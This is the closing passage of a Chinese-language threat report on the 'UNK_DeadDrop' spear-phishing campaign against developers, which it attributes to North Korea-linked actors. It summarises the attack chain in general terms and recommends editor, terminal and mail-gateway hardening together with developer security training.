全盘查杀:使用终端安全软件进行全盘扫描,排查残留恶意文件。
8 结语
UNK_DeadDrop 定向钓鱼攻击是当前针对开发者群体高级威胁的典型案例,该攻击充分利用开发者的工作习惯、行业信任、代码编辑器功能漏洞,构建了一套 “社工诱导 + 隐蔽载体 + 跨平台载荷 + 持久化运行 + 痕迹清理” 的完整攻击链路。从技术层面来看,攻击者并未使用高危零日漏洞,而是持续滥用合法软件的正常功能,这类 “滥用型攻击” 规避了传统漏洞防御体系,防御难度远高于常规恶意程序攻击。
通过对本次攻击的全维度研究可以发现,朝鲜关联威胁团伙针对加密货币与开发者群体的攻击已走向工业化、规模化运营,从早期一对一社交沟通转向邮件批量分发,从自研恶意代码转向开源框架二次开发,攻击效率与隐蔽性持续提升。同时,该威胁与历史同源攻击的对比也清晰展现出攻击技术的演化路径,为后续同类威胁的预判提供了参考依据。
面向开发者的定向钓鱼攻击,本质是人为信任漏洞与软件功能滥用的结合。技术防护可以阻断恶意代码的执行链路,但无法完全规避社工欺诈。因此,防护工作需要技术手段与人员安全意识培训相结合:一方面加固代码编辑器、终端、邮件网关等技术节点,封堵攻击入口;另一方面持续强化开发者的安全认知,纠正 “陌生开源仓库可随意运行”“编辑器信任提示直接放行” 等危险操作习惯。
随着区块链、AI、开源生态的持续发展,开发者群体的价值与暴露面会进一步扩大,同类定向钓鱼攻击仍将长期存在。网络安全从业者、企业技术团队、个人开发者需要持续关注该类威胁的技术变化,动态优化防御策略,建立 “事前防范、事中告警、事后处置” 的全流程安全体系,才能有效抵御不断演化的定向网络攻击。本文完整还原了 UNK_DeadDrop 攻击的技术细节、代码逻辑与运作模式,提出的防御策略均基于攻击弱点设计,可为全球开发者与安全团队应对同类威胁提供实践支撑。
编辑:芦笛(公共互联网反网络钓鱼工作组)